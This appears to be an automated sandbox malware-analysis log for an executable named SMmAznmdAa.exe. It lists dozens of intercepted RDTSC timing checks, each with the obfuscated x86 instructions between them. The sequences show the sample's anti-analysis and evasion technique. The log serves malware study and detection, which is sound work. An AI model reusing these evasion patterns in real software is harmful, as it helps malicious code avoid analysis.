Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910584 second address: 59105B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FCD80B68F20h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59105B2 second address: 59105C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59105C1 second address: 59105D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59105D9 second address: 59105DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59105DD second address: 5910644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FCD80B68F1Eh 0x0000000e xchg eax, esi 0x0000000f jmp 00007FCD80B68F20h 0x00000014 nop 0x00000015 jmp 00007FCD80B68F20h 0x0000001a push eax 0x0000001b pushad 0x0000001c push ebx 0x0000001d mov ecx, 212ED74Fh 0x00000022 pop eax 0x00000023 popad 0x00000024 nop 0x00000025 jmp 00007FCD80B68F1Bh 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FCD80B68F25h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910644 second address: 5910661 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bl, 6Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910661 second address: 591067F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 591067F second address: 591069C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 591069C second address: 59106AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59106C4 second address: 59106D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B38A0Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59106D5 second address: 59106D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59106D9 second address: 5910700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d call 00007FCD80B38A19h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910700 second address: 5910006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 test esi, esi 0x00000007 jmp 00007FCD80B68F1Fh 0x0000000c je 00007FCDF1E86E55h 0x00000012 xor eax, eax 0x00000014 jmp 00007FCD80B4264Ah 0x00000019 pop esi 0x0000001a pop edi 0x0000001b pop ebx 0x0000001c leave 0x0000001d retn 0004h 0x00000020 nop 0x00000021 sub esp, 04h 0x00000024 mov edi, eax 0x00000026 xor ebx, ebx 0x00000028 cmp edi, 00000000h 0x0000002b je 00007FCD80B69127h 0x00000031 call 00007FCD85495F48h 0x00000036 mov edi, edi 0x00000038 pushad 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910006 second address: 5910061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, cx 0x00000007 popad 0x00000008 pushfd 0x00000009 jmp 00007FCD80B38A18h 0x0000000e or ax, 7DC8h 0x00000013 jmp 00007FCD80B38A0Bh 0x00000018 popfd 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b jmp 00007FCD80B38A16h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FCD80B38A0Eh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910061 second address: 5910067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910067 second address: 591006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 591006B second address: 591008F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FCD80B68F22h 0x00000011 pop esi 0x00000012 mov dx, A6F6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 591008F second address: 5910095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910095 second address: 5910099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910099 second address: 591009D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59100FE second address: 591010D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910D28 second address: 5910D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910D2C second address: 5910D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910D32 second address: 5910D38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910D38 second address: 5910D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910D3C second address: 5910D96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ecx, ebx 0x0000000c mov edi, 55FE1A08h 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 jmp 00007FCD80B38A17h 0x00000019 cmp dword ptr [76C8459Ch], 05h 0x00000020 jmp 00007FCD80B38A16h 0x00000025 je 00007FCDF1E46681h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov edi, 539BB9B0h 0x00000033 mov cx, dx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910DDB second address: 5910DE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910DE0 second address: 5910E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 6BA26479h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FCD80B38A0Fh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910E04 second address: 5910E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910E08 second address: 5910E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910E0E second address: 5910E52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 pushfd 0x00000006 jmp 00007FCD80B68F1Eh 0x0000000b sub si, 5918h 0x00000010 jmp 00007FCD80B68F1Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 call 00007FCDF1E7DC52h 0x0000001e push 76C22B70h 0x00000023 push dword ptr fs:[00000000h] 0x0000002a mov eax, dword ptr [esp+10h] 0x0000002e mov dword ptr [esp+10h], ebp 0x00000032 lea ebp, dword ptr [esp+10h] 0x00000036 sub esp, eax 0x00000038 push ebx 0x00000039 push esi 0x0000003a push edi 0x0000003b mov eax, dword ptr [76C84538h] 0x00000040 xor dword ptr [ebp-04h], eax 0x00000043 xor eax, ebp 0x00000045 push eax 0x00000046 mov dword ptr [ebp-18h], esp 0x00000049 push dword ptr [ebp-08h] 0x0000004c mov eax, dword ptr [ebp-04h] 0x0000004f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000056 mov dword ptr [ebp-08h], eax 0x00000059 lea eax, dword ptr [ebp-10h] 0x0000005c mov dword ptr fs:[00000000h], eax 0x00000062 ret 0x00000063 pushad 0x00000064 call 00007FCD80B68F24h 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910E52 second address: 5910E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FCD80B38A11h 0x0000000a popad 0x0000000b sub esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910E71 second address: 5910E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910E75 second address: 5910E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910E7B second address: 5910E81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910EDD second address: 5910EE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5910EE3 second address: 5910EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 59208F6 second address: 592092F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FCD80B38A18h 0x00000008 adc esi, 586FC038h 0x0000000e jmp 00007FCD80B38A0Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop esi 0x0000001d mov dl, 48h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 592092F second address: 5920947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920947 second address: 5920982 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FCD80B38A19h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FCD80B38A0Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920982 second address: 5920A1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov edi, ecx 0x0000000e pushfd 0x0000000f jmp 00007FCD80B68F28h 0x00000014 sub ecx, 3DF110E8h 0x0000001a jmp 00007FCD80B68F1Bh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 pushad 0x00000023 mov bl, ch 0x00000025 pushad 0x00000026 mov ecx, edi 0x00000028 pushfd 0x00000029 jmp 00007FCD80B68F23h 0x0000002e and ax, C8DEh 0x00000033 jmp 00007FCD80B68F29h 0x00000038 popfd 0x00000039 popad 0x0000003a popad 0x0000003b push eax 0x0000003c jmp 00007FCD80B68F21h 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920A1D second address: 5920A30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920A30 second address: 5920A5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCD80B68F1Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920A5D second address: 5920A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, ebx 0x00000006 popad 0x00000007 test esi, esi 0x00000009 jmp 00007FCD80B38A13h 0x0000000e je 00007FCDF1E36344h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920A85 second address: 5920A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920A89 second address: 5920AA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920AA4 second address: 5920ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920ABC second address: 5920AFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [76C8459Ch], 05h 0x0000000f jmp 00007FCD80B38A17h 0x00000014 je 00007FCDF1E4E3BBh 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FCD80B38A15h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920AFF second address: 5920B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a movzx eax, dx 0x0000000d mov bx, C660h 0x00000011 popad 0x00000012 mov dword ptr [esp], esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FCD80B68F22h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920B28 second address: 5920B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920B2E second address: 5920B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920B83 second address: 5920B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920B89 second address: 5920B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920B8D second address: 5920BCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FCD80B38A12h 0x00000015 sbb al, FFFFFFF8h 0x00000018 jmp 00007FCD80B38A0Bh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920BCC second address: 5920BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, bx 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCD80B68F27h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920BEE second address: 5920BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920BF4 second address: 5920BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920C4C second address: 5920C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920C51 second address: 5920C86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FCD80B68F26h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920C86 second address: 5920C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920C8A second address: 5920C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920C8E second address: 5920C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920C94 second address: 5920CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 5920CA3 second address: 5920CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE100E second address: 6DE1012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE1012 second address: 6DE1018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE1018 second address: 6DE101E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE101E second address: 6DE103A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCD80B38A13h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE021F second address: 6DE0223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE049B second address: 6DE049F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE049F second address: 6DE04C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCD80B68F21h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007FCD80B68F1Eh 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE04C0 second address: 6DE04CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE05EF second address: 6DE0609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F26h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE0609 second address: 6DE060D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE060D second address: 6DE062C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FCD80B68F1Ch 0x0000000f jbe 00007FCD80B68F1Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE062C second address: 6DE0642 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCD80B38A0Ch 0x00000008 jno 00007FCD80B38A06h 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007FCD80B38A06h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE36BF second address: 6DE36D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE36D1 second address: 6DE370D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add dword ptr [ebp+122D32D5h], eax 0x00000011 mov di, 1066h 0x00000015 push 00000000h 0x00000017 mov esi, dword ptr [ebp+122D1CADh] 0x0000001d mov edx, 55FF6BDCh 0x00000022 push 47E2EABFh 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FCD80B38A13h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3842 second address: 6DE3851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3851 second address: 6DE3863 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCD80B38A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3863 second address: 6DE3867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3867 second address: 6DE38A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FCD80B38A08h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov ecx, edx 0x00000026 call 00007FCD80B38A09h 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
